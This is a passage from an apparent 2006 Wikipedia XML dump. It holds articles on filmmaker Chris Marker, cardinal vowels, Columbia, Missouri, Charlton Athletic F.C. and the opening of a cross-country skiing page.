[[pl:Conan_barbarzy%C5%84ca]]
[[pt:Conan]]
[[se:Conan Barbaren]]</text>
    </revision>
  </page>
  <page>
    <title>Comic books</title>
    <id>6714</id>
    <revision>
      <id>15904835</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Comic book]]
</text>
    </revision>
  </page>
  <page>
    <title>Chris Marker</title>
    <id>6715</id>
    <revision>
      <id>39424702</id>
      <timestamp>2006-02-13T01:27:19Z</timestamp>
      <contributor>
        <ip>81.158.206.212</ip>
      </contributor>
      <text xml:space="preserve">'''Chris Marker''' (born [[July 29]], [[1921]]) is a [[writer]], [[photographer]], [[film director]] and [[Documentary film|documentary]] maker. He was born '''Christian Bouche-Villeneuve''', in [[Paris]], [[France]]. He is best known for directing ''[[La Jetée]]'' ([[1963]]) and ''[[Sans Soleil]]'' ([[1982]]).

Chris Marker studied [[philosophy]] under [[Jean-Paul Sartre]]. In [[World War II]] he joined the [[Maquis (World War II)|Maquis (FTP)]]. After the war he began to write and make films. He traveled to many [[socialist]] countries and documented what he saw in films and books. ''Les statues meurent aussi'' (1953) which he codirected with [[Alain Resnais]] was one of the first anticolonial films. [[Anatole Dauman]] produced  the first films of Chris Marker and later produced two more of his films ''[[Sunday in Peking]]'' and ''[[Letter from Siberia]]''

He became internationally known for the [[short film]]  ''[[La Jetée]]''. It tells the story of a [[post-apocalyptic science fiction|post-nuclear war]] experiment in time travel by using a series of filmed photographs developed as a [[photomontage]] of varying pace with limited narration.  This film was the inspiration for [[Terry Gilliam]]'s ''[[Twelve Monkeys]]'' (1995).

In [[1982]] he finished ''[[Sans Soleil]]'', stretching the limits of what could be called a [[Documentary film|documentary]]. It is an [[essay]], a [[Film editing|montage]], mixing pieces of documentary with [[fiction]] and philosophical comments, creating an atmosphere of [[dream]] and [[science fiction]]. The main themes are [[Japan]], (the erasing of) [[memory]] and [[travel]].  The title is taken from the song cycle ''Sunless'' by [[Modest Mussorgsky]].

Beginning with ''Sans Soleil'' he developed a deep interest in [[digital]] [[technology]], which led to his film ''Level 5'' ([[1996]]) and ''[[IMMEMORY]]'' ([[1998]]), an interactive multimedia [[CD-ROM]], produced for the [[Centre Pompidou]].

Chris Marker lives in Paris and does not grant interviews.

==Filmography==
Directed:
*''Olympia 52'' (1952)
*''Les Statues meurent aussi'' (1953)
*''Dimanche à Pekin'' (1956)
*''Lettre de Sibérie'' (1957)
*''Les Astronautes'' (1959)
*''Description d'un combat'' (1960)
*''¡Cuba Sí!'' (1961)
*''[[La Jetée]]'' (1962)
*''Le joli mai'' (1963)
*''Le Mystère Koumiko'' (1965)
*''Si j'avais quatre dromadaires'' (1966)
*''Loin du Vietnam'' (1967)
*''Rhodiacéta'' (1967)
*''La Sixième face du pentagone'' (1968)
*''Cinétracts'' (1968)
*''À bientôt, j'espère'' (1968)
*''On vous parle du Brésil'' (1969)
*''Jour de tournage'' (1969)
*''Classe de lutte'' (1969)
*''Les Mots ont un sens'' (1970)
*''Carlos Marighela'' (1970)
*''La Bataille des dix millions'' (1971)
*''Le Train en marche'' (1971)
*''On vous parle de Prague: le deuxième procès d'Artur London'' (1971)
*''Vive la baleine'' (1972)
*''L'Ambassade'' (1973)
*''La Solitude du chanteur de fond'' (1974)
*''Le Fond de l'air est rouge'' (1977)
*''Junkiopa'' (1981)
*''Sans soleil'' (1983)
*''2084'' (1984)
*''From Chris to Christo'' (1985)
*''A.K.'' (1985)
*''Mémoires pour Simone'' (1986)
*''Le Tombeau d'Alexandre'' (1992)
*''Level Five'' (1997)
*''One Day in the Life of Andrei Arsenevich'' (2000)
*''Chats Perchés'' (tv) (2004)

==External links==
*[http://www.sensesofcinema.com/contents/directors/02/marker.html Senses of Cinema: Great Directors Critical Database]
*[http://www.silcom.com/~dlp/Passagen/cm.home2.html s i l v e r t h r e a d e d presents Chris Marker]
* {{imdb name|name=Chris Marker|id=0003408}}

[[Category:1921 births|Marker, Chris]]
[[Category:Living people|Marker, Chris]]
[[Category:French film directors|Marker, Chris]]

[[de:Chris Marker]]
[[es:Chris Marker]]
[[fr:Chris Marker]]</text>
    </revision>
  </page>
  <page>
    <title>Cardinal vowel</title>
    <id>6716</id>
    <revision>
      <id>32527250</id>
      <timestamp>2005-12-23T21:55:55Z</timestamp>
      <contributor>
        <ip>83.129.11.85</ip>
      </contributor>
      <comment>de</comment>
      <text xml:space="preserve">{{IPA notice}}
'''Cardinal vowels''' are a set of reference vowels used by phoneticians in describing the sounds of languages. For instance, the vowel of the [[English language|English]] word &quot;feet&quot; can be described with reference to cardinal vowel 1, {{IPA|[i]}}, which is the cardinal vowel closest to it.

[[Vowel]] sound produced when the [[tongue]] is in an extreme position, either front or back, high or low. The current system was systematised by [[Daniel Jones (phonetician)|Daniel Jones]] in the early 20th century, though the idea goes back to earlier phoneticians, notably Ellis and Bell.

It may take much practice and training from an expert to learn to produce the cardinal vowels accurately. Three of the cardinal vowels, {{IPA|[i]}}, {{IPA|[&amp;#593;]}} and {{IPA|[u]}} have articulatory definitions. [i] is produced with the tongue as far forward and as high in the mouth as is possible, with spread lips. {{IPA|[u]}} is produced with the tongue as far back and as high in the mouth as is possible, with pursed lips. This sound can be approximated by adoping the posture to whistle a very low note, or blow out a candle. {{IPA|[&amp;#593;]}} is produced with the tongue as low and as far back in the mouth as possible. The other vowels are 'auditorily equidistant' between these three 'corner vowels', at four degrees of aperture or 'height': close (high tongue position), close-mid, open-mid, and open (low tongue position). The [[Ngwe]] language of [[West Africa]] has been cited as a language with a vowel system that has 8 vowels which are rather similar to the 8 primary cardinal vowels (Ladefoged 1971:67).

These degrees of aperture plus the front-back distinction define 8 reference points on a mixture of articulatory and auditory criteria. These eight vowels are known as the eight 'primary cardinal vowels', and vowels like these are common in the world's languages. The lip positions can be reversed with the lip position for the corresponding vowel on the opposite side of the front-back dimension, so that e.g. Cardinal 1 can be produced with the rounding for Cardinal 8, etc.; these are known as 'secondary cardinal vowels'. Sounds such as these are less common in the world's languages. Other vowel sounds are also recognised on the vowel chart of the [[International Phonetic Alphabet]].

{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;
! cardinal !! [[International Phonetic Alphabet|IPA]] !! [[X-SAMPA]] !! description
|-
| align=&quot;center&quot;| 1
| align=&quot;center&quot;| {{IPA|[i]}}
| align=&quot;center&quot;| [i]
| [[close front unrounded vowel]]
|-
| align=&quot;center&quot;| 2
| align=&quot;center&quot;| {{IPA|[e]}}
| align=&quot;center&quot;| [e]
| [[close-mid front unrounded vowel]]
|-
| align=&quot;center&quot;| 3
| align=&quot;center&quot;| {{IPA|[&amp;#603;]}}
| align=&quot;center&quot;| [E]
| [[open-mid front unrounded vowel]]
|-
| align=&quot;center&quot;| 4
| align=&quot;center&quot;| {{IPA|[a]}}
| align=&quot;center&quot;| [a]
| [[open front unrounded vowel]]
|-
| align=&quot;center&quot;| 5
| align=&quot;center&quot;| {{IPA|[&amp;#593;]}}
| align=&quot;center&quot;| [A]
| [[open back unrounded vowel]]
|-
| align=&quot;center&quot;| 6
| align=&quot;center&quot;| {{IPA|[&amp;#596;]}}
| align=&quot;center&quot;| [O]
| [[open-mid back rounded vowel]]
|-
| align=&quot;center&quot;| 7
| align=&quot;center&quot;| {{IPA|[o]}}
| align=&quot;center&quot;| [o]
| [[close-mid back rounded vowel]]
|-
| align=&quot;center&quot;| 8
| align=&quot;center&quot;| {{IPA|[u]}}
| align=&quot;center&quot;| [u]
| [[close back rounded vowel]]
|-
| align=&quot;center&quot;| 9
| align=&quot;center&quot;| {{IPA|[y]}}
| align=&quot;center&quot;| [y]
| [[close front rounded vowel]]
|-
| align=&quot;center&quot;| 10
| align=&quot;center&quot;| {{IPA|[&amp;#248;]}}
| align=&quot;center&quot;| [2]
| [[close-mid front rounded vowel]]
|-
| align=&quot;center&quot;| 11
| align=&quot;center&quot;| {{IPA|[&amp;#339;]}}
| align=&quot;center&quot;| [9]
| [[open-mid front rounded vowel]]
|-
| align=&quot;center&quot;| 12
| align=&quot;center&quot;| {{IPA|[&amp;#630;]}}
| align=&quot;center&quot;| [&amp;]
| [[open front rounded vowel]]
|-
| align=&quot;center&quot;| 13
| align=&quot;center&quot;| {{IPA|[&amp;#594;]}}
| align=&quot;center&quot;| [Q]
| [[open back rounded vowel]]
|-
| align=&quot;center&quot;| 14
| align=&quot;center&quot;| {{IPA|[&amp;#652;]}}
| align=&quot;center&quot;| [V]
| [[open-mid back unrounded vowel]]
|-
| align=&quot;center&quot;| 15
| align=&quot;center&quot;| {{IPA|[&amp;#612;]}}
| align=&quot;center&quot;| [7]
| [[close-mid back unrounded vowel]]
|-
| align=&quot;center&quot;| 16
| align=&quot;center&quot;| {{IPA|[&amp;#623;]}}
| align=&quot;center&quot;| [M]
| [[close back unrounded vowel]]
|-
| align=&quot;center&quot;| 17
| align=&quot;center&quot;| {{IPA|[&amp;#616;]}}
| align=&quot;center&quot;| [1]
| [[Close central unrounded vowel]]
|-
| align=&quot;center&quot;| 18
| align=&quot;center&quot;| {{IPA|[&amp;#649;]}}
| align=&quot;center&quot;| [}]
| [[Close central rounded vowel]]
|}
In the IPA's [http://web.uvic.ca/ling/resources/ipa/charts/IPANumberChart96.pdf number chart], the cardinal vowels have the same numbers used above, but added to 300.

==See also==
*[[list of phonetics topics]]



==Bibliography==

* Ladefoged, Peter. (1971). ''Preliminaries to linguistic phonetics''. Chicago: The University of Chicago Press.

[[Category:Vowels]]

[[ko:&amp;#44592;&amp;#48376; &amp;#47784;&amp;#51020;]]
[[de:Hauptvokal]]</text>
    </revision>
  </page>
  <page>
    <title>Columbia, Missouri</title>
    <id>6719</id>
    <revision>
      <id>41931557</id>
      <timestamp>2006-03-02T18:33:48Z</timestamp>
      <contributor>
        <ip>128.206.202.38</ip>
      </contributor>
      <text xml:space="preserve">[[Image:MOMap-doton-Columbia.png|right|Location of Columbia, Missouri]]
'''Columbia''' is a [[city]] located in [[Boone County, Missouri|Boone County]], [[Missouri]], [[USA]]. The city has an estimated [[population]] of 90,593, [[as of 2006]]. 

The city was founded in 1819; its name 'Columbia', from [[Christopher Columbus]], is a poetical name for the [[United States]]. The surrounding [[Metropolitan Statistical Area]] has a population of 151,129, [[as of 2005]]. Columbia is located roughly equidistant from [[Saint Louis, Missouri|St. Louis]] and [[Kansas City, Missouri|Kansas City]] on Interstate 70. 

It has the reputation of combining the quality and [[culture]] of larger [[metropolitan area]]s with the warm hospitality of the [[Midwest]]. Columbia is consistently ranked as one of the top places in the [[United States]] to live by outfits such as [[Money Magazine]] because of its excellent quality of life. The [[University of Missouri - Columbia]], the [[flagship]] [[campus]] for the [[University of Missouri System]], is located in Columbia. The city is also home to [[Stephens College]], a traditionally-[[female]] [[college]], and [http://www.ccis.edu Columbia College], which led in the past to Columbia being known by the [[nickname]] &quot;College Town USA&quot;. 

As a whole the city has a very young and active population. The [[downtown]] area is filled with businesses catering to a young population including over 75 restaurants and bars. Downtown is also host to many events including the [http://www.truefalse.org True/False Film Festival,] Art in the Park, The Blind Boone Ragtime and Early Jazz Festival, and the [http://www.discoverthedistrict.com Twilight Festivals] in June and September. The population generally supports [[progressivism|progressive]] causes, examples of this being the recent decriminilization of [[marijuana]] and the extensive city [[recycling]] programs. Politically the city leans to the [[Left-wing politics|left]], where as the surrounding rural areas are largely [[conservative]]. It is the [[county seat]] of Boone County, Missouri.{{GR|6}}  The mayor of Columbia is [[Darwin Hindman]].

The city is home to:
*The [[University of Missouri - Columbia]]
*[[Booches]], [http://www.flatbranch.com Flat Branch Brewery], [http://www.thebluenote.com The Blue Note], [http://www.cherrystreetartisan.com Cherry Street Artisan], [[Grindstone Brewery]], [http://www.shakespeares.com Shakespeare's Pizza], [http://lakotacoffee.com Lakota Coffee Co.]
*[[Columbia Catholic School]]
* [[Hickman High School]], [[Rock Bridge High School]] and [http://www.columbia.k12.mo.us/dhs/ADHSHOME.HTM Douglass High School].
Numerous private schools including Columbia Independent School, Christian Fellowship Academy, Good Shepard Lutheran School, Columbia Catholic School, and Fellowship Academy.  Columbia also boasts an active homeschooling community.
* [[McAlester Arboretum]]
*[http://peaceworks.missouri.org Mid-Missouri Peaceworks]
*[http://www.discoverthedistrict.com/ '''''The District'''''] Mid-Missouri's cultural and entertainment center, featuring a diversity of restaurants, bars, live music, independent films, and the Columbia spur of the trans-state [[bicycle]] and pedestrian [http://www.mostateparks.com/katytrail/index.html Katy Trail]. 

Famous residents include:
*[[Sam Walton]] (Hickman High School) founder of [[Walmart]]
*[[Ken Lay]] (Hickman High School &amp; Mizzou) [[Enron]] CEO
*[['Blind' Boone]] Ragtime musician and composer   
*[[Norm Stewart]], former [[Mizzou]] basketball coach
*[[Quin Snyder]], now former [[Mizzou]] basketball coach and former [[Duke University]] standout
*[[Bill Laurie]], [[St. Louis Blues (hockey)|St. Louis Blues]] owner and [[Walmart]] heir
*[[Stan Kroenke]], [[Denver Nuggets]] owner and [[Walmart]] heir
*[[Gary Pinkel]], current [[Mizzou]] football coach
*[[Carl Edwards]], [[NASCAR]] driver
*[[Gary Klatzke]], Photographer and Management guru.
*[[William Least Heat-Moon]], Author of Blue Highways and other novels.
*[[Brad Pitt]], Actor, starred in movies like  A River Runs Through It and Thelma and Louise. 
== Geography ==
Columbia is located at 38&amp;deg;56'54&quot; North, 92&amp;deg;20'2&quot; West (38.948351, -92.333779){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 138.1 [[square kilometre|km&amp;sup2;]] (53.3 [[square mile|mi&amp;sup2;]]).  137.5 km&amp;sup2; (53.1 mi&amp;sup2;) of it is land and 0.7 km&amp;sup2; (0.3 mi&amp;sup2;) of it is water.  The total area is 0.51% water.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 84,531 people, 33,689 households, and 17,282 families residing in the city.  The [[population density]] is 615.0/km&amp;sup2; (1,592.8/mi&amp;sup2;).  There are 35,916 housing units at an average density of 261.3/km&amp;sup2; (676.8/mi&amp;sup2;).  The racial makeup of the city is 81.54% [[White (U.S. Census)|White]], 10.85% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.39% [[Native American (U.S. Census)|Native American]], 4.30% [[Asian (U.S. Census)|Asian]], 0.04% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.81% from [[Race (U.S. Census)|other races]], and 2.07% from two or more races.  2.05% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 33,689 households out of which 26.1% have children under the age of 18 living with them, 38.2% are [[Marriage|married couples]] living together, 10.3% have a female householder with no husband present, and 48.7% are non-families. 33.1% of all households are made up of individuals and 6.5% have someone living alone who is 65 years of age or older.  The average household size is 2.26 and the average family size is 2.92.

In the city the population is spread out with 19.7% under the age of 18, 26.7% from 18 to 24, 28.7% from 25 to 44, 16.2% from 45 to 64, and 8.6% who are 65 years of age or older.  The median age is 27 years.  For every 100 females there are 91.8 males.  For every 100 females age 18 and over, there are 89.1 males.

The median income for a household in the city is $33,729, and the median income for a family is $52,288. Males have a median income of $34,710 versus $26,694 for females. The [[per capita income]] for the city is $19,507.  19.2% of the population and 9.4% of families are below the [[poverty line]].  Out of the total population, 14.8% of those under the age of 18 and 5.2% of those 65 and older are living below the poverty line.

== External links ==
*[http://www.visitcolumbiamo.com/ Columbia Convention &amp; Visitors Bureau]
*[http://chamber.columbia.mo.us/v_community.html Columbia Chamber of Commerce]
*[http://www.columbiamissourian.com Columbia Missourian]
*[http://www.showmenews.com Columbia Daily Tribune]
*[http://www.themaneater.com The Maneater]
*[http://www.mymissourian.com MyMissourian]
*An [http://11.1911encyclopedia.org/C/CO/COLUMBIA_MO_.htm interesting historical look] can be found in the 1911 ''[[Encyclopædia Britannica]]''.
{{Mapit-US-cityscale|38.948351|-92.333779}}
*[http://www.discoverthedistrict.com/mapsanddirections.html Map of '''''The District''''']
*[http://www.comomusic.com/ Comomusic]
*[http://www.discoverthedistrict.com/ '''''The District'''''] - Over 70 bars &amp; restaurants, 110 unique shops and 40 live performances a week.
*[http://www.columbia360.com/ Digital Guide to Columbia MO]
*[http://www.johnhenrymusic.org/ John Henry]
{{Missouri}}

[[Category:Cities in Missouri]]
[[Category:Boone County, Missouri]]

[[es:Columbia (Missouri)]]
[[io:Columbia, Missouri]]
[[sk:Columbia (Missouri)]]
[[fi:Columbia (Missouri)]]</text>
    </revision>
  </page>
  <page>
    <title>Charlton Athletic F.C.</title>
    <id>6720</id>
    <revision>
      <id>42120712</id>
      <timestamp>2006-03-03T23:27:46Z</timestamp>
      <contributor>
        <ip>82.43.100.173</ip>
      </contributor>
      <comment>/* Charlton fans */</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Charlton Athletic |
  image    = [[Image:Charlton_Athletic_crest_second.png|100px|Charlton Athletic crest]] |
  fullname = Charlton Athletic Football Club |
  nickname = [[The Addicks]] |
  founded  = [[1905]] |
  ground   = [[The Valley (stadium)|The Valley]],&lt;br /&gt;[[Charlton, Greenwich|Charlton]], [[London]] |
  capacity = 27,116 |
  chairman = [[Image:England flag.svg|20px|English]] [[Richard Murray]] |
  manager  = [[Image:England flag.svg|20px|English]] [[Alan Curbishley]] |
  league   = [[FA Premier League]] |
  season   = [[FA Premier League 2004-05|2004-05]] |
  position = Premier League, 11th |
  shirtsupplier= |
  shirtsponsors= |
  pattern_la1=_whiteborder|pattern_b1=_thinwhitesides|pattern_ra1=_whiteborder|
  leftarm1=FF0000|body1=FF0000|rightarm1=FF0000|shorts1=FFFFFF|socks1=FF0000|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=FFFFFF|body2=FFFFFF|rightarm2=FFFFFF|shorts2=000000|socks2=000000|
}}

'''Charlton Athletic Football Club''' are a [[Football (soccer)|football]] club from southeast [[London]].  The club was founded in [[1905]] and currently plays at [[The Valley (stadium)|The Valley]] in [[Charlton, Greenwich|Charlton]].

==History==

Charlton were formed in June 1905 - as a boys club in an area of Charlton which is no longer residential - near where the [[Thames Barrier|London Flood Barrier]] is now.  During their formative years playing at the Valley there was a lack of facilities at the ground. They often used to use a local fishmonger/fish and chip shop as a place to get changed for games. This is where Charlton's famous nickname is derived from &quot;addick&quot; as a corruption of Haddock the main ware of this particular shop. Others claim the fishmonger nailed a haddock to a board and made a noise during games by slapping the two together this seems some what far fetched.  

After success as a boys, amateur and semi-professional side, Charlton were elected to the Football League in 1921. They gained promotion to the First Division in [[1936]].  

In [[1937]] Charlton finished runners up in the First Division, in [[1938]] finished fourth and [[1939]] finished third. They were the most consistent team in the top flight of English football over the three seasons immediately before [[World War II|WW2]]. This continued during the war years and they won the &quot;war&quot; cup and appeared in finals.  They remained in the First Division, being finalists in the [[1946]] [[FA Cup]] and winning the [[FA Cup]] in [[1947]].  In this period of renewed football attendances - Charlton became one of only eleven English football teams to average over 40,000 as their attendance during a full season. The Valley was the largest football ground in the League, drawing crowds in excess of 70,000.  In [[1957]], as their manager from 1932 Jimmy Seed was undermined  by the then board, Charlton were relegated.  

From the late [[1950s]] until the early [[1970s]], Charlton remained a mainstay of the Second Division. Relegation to the Third Division in [[1972]] caused the team's support to drop, and even a promotion in [[1975]] back to the second division did little to re-invigorate the team's support and finances.  

However in 1974 and 1975 the Valley, Charlton's home ground hosted &quot;[[The Who]]&quot; in concerts attended by over 75,000 people.  

In 1979/80 Charlton were relegated again to the Third Division winning immediate promotion back to the Second Division in 1980/81.  Even though it did not feel like it; this was a turning point in the clubs history leading to a period of turbulence and change including further promotion and exile. A change in management and shortly after a change in club ownership led to severe problems and the club looked like it would go out of business.   

In [[1984]] financial matters came to a head and the club went into administration, to be reformed as Charlton Athletic (1984) Ltd.

===Away from The Valley===

From 1985 Charlton played at [[Crystal Palace F.C.|Crystal Palace]]'s football ground, Selhurst Park, as the team's financial situation prevented much-needed refurbishment of The Valley. Winning promotion to the First Division in [[1986]] did little to aid the failing club.
With the Valley falling in to disrepair
[[Image:Charlton7645Gallery.jpg|thumb|Valley In disrepair]]

In [[1990]], the club again faced relegation. That same year, club supporters formed their own political party in response to the [[London Borough of Greenwich]]'s refusal to allow the proposed stadium refurbishment. The Valley Party won 15,000 votes and was able to force the council to approve plans to renovate The Valley.

The next year, Charlton left [[Selhurst Park]] for [[West Ham United F.C.|West Ham United]]'s ground, [[Boleyn Ground|Upton Park]].

===Return to The Valley===
In [[1992]], at last, they returned to a new and improved Valley. Under the leadership of manager Alan Curbishley, Charlton returned to the top flight (now known as the [[FA Premier League|Premiership]]) in 1998, only to be relegated again on the last day of the season.  

They returned to the Premiership in [[2000]], where they have remained since, having never finished below 14th place. After a poor start to the [[FA Premier League 2002-03|2002/03 season]], losing all of their first four home games, the team found its form with runs of four and five consecutive wins taking them up the table. Curbishley was rewarded for this success with the Manager of the Month award for February [[2003]]. In the same month the players [[Scott Parker (footballer)|Scott Parker]] and Paul Konchesky (both graduates of the club's youth academy) were selected for the [[England national football team|England]] squad for a friendly against [[Australia national football team|Australia]]. While only Konchesky actually played in the match, it was the first time ever that two Charlton players had been picked for the same England squad.

While Charlton remains a club with a reputation for spending its money sensibly, the current squad boasts an encouraging blend of quality players from home and abroad. In January 2004 Scott Parker was sold to [[Chelsea F.C.|Chelsea]] in controversial circumstances for around [[pound sterling|£]]10 million, and in the following summer, many new players were bought, including the Danish international [[Dennis Rommedahl]], [[Francis Jeffers]] and [[Danny Murphy (footballer)|Danny Murphy]] from [[Liverpool F.C.|Liverpool]]. Charlton finished seventh at the end of the 2003-04 season, their best position for 50 years.

Charlton became the first Premiership club to establish a formal youth academy in the [[United States]]; the club opened an academy in [[Tucson, Arizona]] in May [[2005]], and will eventually expand the academy throughout [[Arizona]]. Charlton already operates youth academies in [[Spain]] and [[South Africa]], as well as in its London home. 

Charlton is the only football club to operate a City Learning Centre (CLC) which opened in October 2005. This CLC is an extension of the successful study support centre which has provided support for local youngsters from 2001. The CLC is open to all members of the local community from pre-school to the young at heart and provides a wide range of ICT(IT) based learning experiences.

Since their return to The Valley in 1992, the ground itself has undergone some pretty remarkable changes. Tiers have been added to the West and North Stands (The North Stand affectionately known as 'The Covered End' by fans) which have taken the total capacity of the stadium to over 26,000. And the club hasn't stopped there with their future aspirations for the ground. In plans revealed in 2004, Charlton Athletic hope to expand The Valley to a total of 40,600. This includes adding another tier onto the East Stand, and completely rebuilding the South (Jimmy Seed) Stand into a new, 3-tier structure.

In the middle of the 2005-06 season, the club's shirt sponsor, [[all:sports]], went into administration. This meant that Charlton had to find a shirt sponsor and change their shirt design mid-season. Eventually [[Llanera (company)|Llanera]], a Spanish property company, agreed to become their new sponsor. This is the first time a top-level club has had to change its shirt sponsor mid-season.

==Current squad==
{{Fs start}}
{{Fs player| no= 2| nat=England     | pos=DF| name=[[Luke Young]]}}
{{Fs player| no= 3| nat=Iceland     | pos=DF| name=[[Hermann Hreidarsson]]}}
{{Fs player| no= 4| nat=Uruguay     | pos=DF| name=[[Gonzalo Sorondo]] | other=on loan from [[Internazionale Milano F.C.|Inter Milan]]}}
{{Fs player| no= 5| nat=England     | pos=DF| name=[[Chris Perry (footballer)|Chris Perry]]}}
{{Fs player| no= 6| nat=England     | pos=FW| name=[[Marcus Bent]]}}
{{Fs player| no= 7| nat=Bulgaria    | pos=MF| name=[[Radostin Kishishev]]}}
{{Fs player| no= 8| nat=Ireland     | pos=MF| name=[[Matt Holland]]}} (captain)
{{Fs player| no= 9| nat=Jamaica     | pos=FW| name=[[Jason Euell]]}}
{{Fs player| no=10| nat=England     | pos=FW| name=[[Darren Bent]]}}
{{Fs player| no=11| nat=England     | pos=FW| name=[[Francis Jeffers]]}}
{{Fs player| no=14| nat=England     | pos=MF| name=[[Jerome Thomas]]}}
{{Fs player| no=15| nat=Morocco     | pos=DF| name=[[Talal El Karkouri]]}}
{{Fs player| no=16| nat=Denmark     | pos=GK| name=[[Stephan Andersen]]}}
{{Fs player| no=17| nat=South Africa| pos=FW| name=[[Shaun Bartlett]]}}
{{Fs player| no=18| nat=England     | pos=MF| name=[[Darren Ambrose]]}}
{{Fs player| no=19| nat=Denmark     | pos=MF| name=[[Dennis Rommedahl]]}}
{{Fs player| no=20| nat=England     | pos=MF| name=[[Bryan Hughes]]}}
{{Fs mid}}
{{Fs player| no=22| nat=England     | pos=DF| name=[[Chris Powell]]}}
{{Fs player| no=23| nat=United States| pos=DF| name=[[Jonathan Spector]] | other=on loan from [[Manchester United F.C.|Man Utd]]}}
{{Fs player| no=24| nat=England     | pos=DF| name=[[Jonathan Fortune]]}}
{{Fs player| no=25| nat=Russia      | pos=MF| name=[[Alexei Smertin]] | other=on loan from [[Chelsea F.C.|Chelsea]]}}
{{Fs player| no=26| nat=France      | pos=DF| name=[[Kelly Youga]]}}
{{Fs player| no=28| nat=England     | pos=DF| name=[[Osei Sankofa]]}}
{{Fs player| no=29| nat=England     | pos=MF| name=[[Lloyd Sam]]}}
{{Fs player| no=30| nat=England     | pos=DF| name=[[Mark Ricketts]]}}
{{Fs player| no=31| nat=England     | pos=FW| name=[[Alex Varney]]}}
{{Fs player| no=32| nat=England     | pos=MF| name=[[Barry Fuller]]}}
{{Fs player| no=33| nat=Ireland     | pos=GK| name=[[Darren Randolph]]}}
{{Fs player| no=34| nat=England     | pos=FW| name=[[James Walker (footballer)|James Walker]]}}
{{Fs player| no=35| nat=England     | pos=DF| name=[[Nathan Ashton]]}}
{{Fs player| no=36| nat=Norway      | pos=GK| name=[[Thomas Myhre]]}}
{{Fs player| no=37| nat=Portugal    | pos=DF| name=[[Goncalo Brandao]] | other=on loan from [[Belenenses]]}}
{{Fs player| no=38| nat=England     | pos=FW| name=[[Jay Bothroyd]]}}
{{Fs player| no=39| nat=Iceland     | pos=FW| name=[[Rurik Gislason]]}}
{{Fs end}}

===Out on loan===
{|
{{Fs player| no=12| nat=Jamaica     | pos=FW| name=[[Kevin Lisbie]] | other=on loan at [[Derby County F.C.|Derby]]}}
{{Fs player| no=21| nat=Finland     | pos=FW| name=[[Jonatan Johansson]] | other=on loan at [[Norwich City F.C.|Norwich]]}}
{{Fs player| no=27| nat=England     | pos=GK| name=[[Robert Elliot]] | other=on loan at [[Accrington Stanley F.C.|Accrington Stanley]]}}
|}

==Notable former Charlton players==

*[[John Barnes]]
*[[Sam Bartram]]
*[[Paolo Di Canio]]
*[[Derek Hales]]
*[[Rob Lee]]
*[[Clive Mendonca]]
*[[Scott Parker (footballer)|Scott Parker]]
*[[Allan Simonsen]]

==Charlton fans==

Charlton are rare among football clubs, in that they reserve a seat on their director's board for a supporter. Any season ticket holder can put themselves forward for election, with a certain number of nominations, and votes are cast by all season ticket holders over the age of 18. 

Charlton's fans are known as The Addicks. Among the theories on the etymology of the name are that 1), it comes from the fact that Charlton in their early days at the Valley were part sonsored by a fishmonger and he offered a &quot;'addock dinner&quot; after the game to players and opposition. According to A.V Carter the said fishmonger advertised his wares by having a fish on a stick, walking up and down the touch line; or, 2) it is a southeast London form of Addict (which seems unlikely).  

The team's home kit is red, and they always come on to the pitch at The Valley to the tune of &quot;When the Red, Red Robin Goes Bob-, bob- bobbin' along&quot; this is a popular [[Billy Cotton]] song from the 1930's.

The fan's favourite chant is entitled &quot;Valley, Floyd Road&quot; (Floyd Road being the street on which the stadium is situated) and is sung to the tune of Sir Paul McCartney's &quot;Mull of Kintyre&quot;.

''Lyrics:''

Many miles have I travelled,
Many games have I seen,
Following Charlton my favourite team.
Many hours have I spent in the covered end choir,
Singing Valley, Floyd Road,
My only desire.

Valley, Floyd Road,
The mist rolling in from the Thames,
My desire,
Is always to be found at Valley, Floyd Road.

== Valley View Fanzine ==

A brand new fanzine recently started at the club called Valley View. Available for just £1, the fanzine started in February 2006, and can be bought from around the outside of The Valley as well as from outside Charlton railway station and the local pubs.

== External links ==
{{BBC Football Info|BBClinkname=c/charlton_athletic}}
*[http://www.cafc.co.uk The club's official website]
*[http://boards.rivals.net/default.asp?sid=905&amp;p=16&amp;forumid=3224 Meet Charlton Fans talking about recent games]
*[http://www.4thegame.com/club/cafc/ 4thegame.com's Charlton Athletic page]
*[http://www.caist.org.uk Charlton Athletic Independent Supporters' Trust]
*[http://www.addicksonline.co.uk Addicksonline - Un-official Charlton Athletic website]
*[http://www.charltonathletic-mad.co.uk/ Charlton Athletic MAD Fansite]
*[http://www.zyworld.com/davidcafc/ Charlton Till I Die]
*[http://www.footballchants.org/viewChantsRecent.php?teams=9 Charlton Athletic Football Chants]
*[http://charlton.blogspot.com/ Highly rated Charlton blog, All Quite in the East Stand]


{{FA Premier League}}

[[Category:Charlton Athletic F.C.]]
[[Category:English football clubs]]
[[Category:FA Premier League]]

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[[da:Charlton Athletic FC]]
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[[he:צ'רלטון אתלטיק]]
[[nl:Charlton Athletic FC]]
[[no:Charlton Athletic FC]]
[[pl:Charlton Athletic]]
[[pt:Charlton Athletic FC]]
[[simple:Charlton Athletic F.C.]]
[[fi:Charlton Athletic FC]]
[[sv:Charlton Athletic FC]]
[[th:สโมสรฟุตบอลชาร์ลตันแอทเลติก]]
[[zh:查尔顿竞技足球俱乐部]]</text>
    </revision>
  </page>
  <page>
    <title>Cross-country skiing</title>
    <id>6721</id>
    <revision>
      <id>41348266</id>
      <timestamp>2006-02-26T19:34:52Z</timestamp>
      <contributor>
        <username>Rmhermen</username>
        <id>835</id>
      </contributor>
      <comment>remove vandalism</comment>
      <text xml:space="preserve">'''Cross-country skiing''' (also known as '''XC skiing''') is a [[winter sport]] popular in many countries with large snowfields, primarily [[Northern Europe]] and [[Canada]]. The popularity of the sport has been quickly growing in the [[United States]].
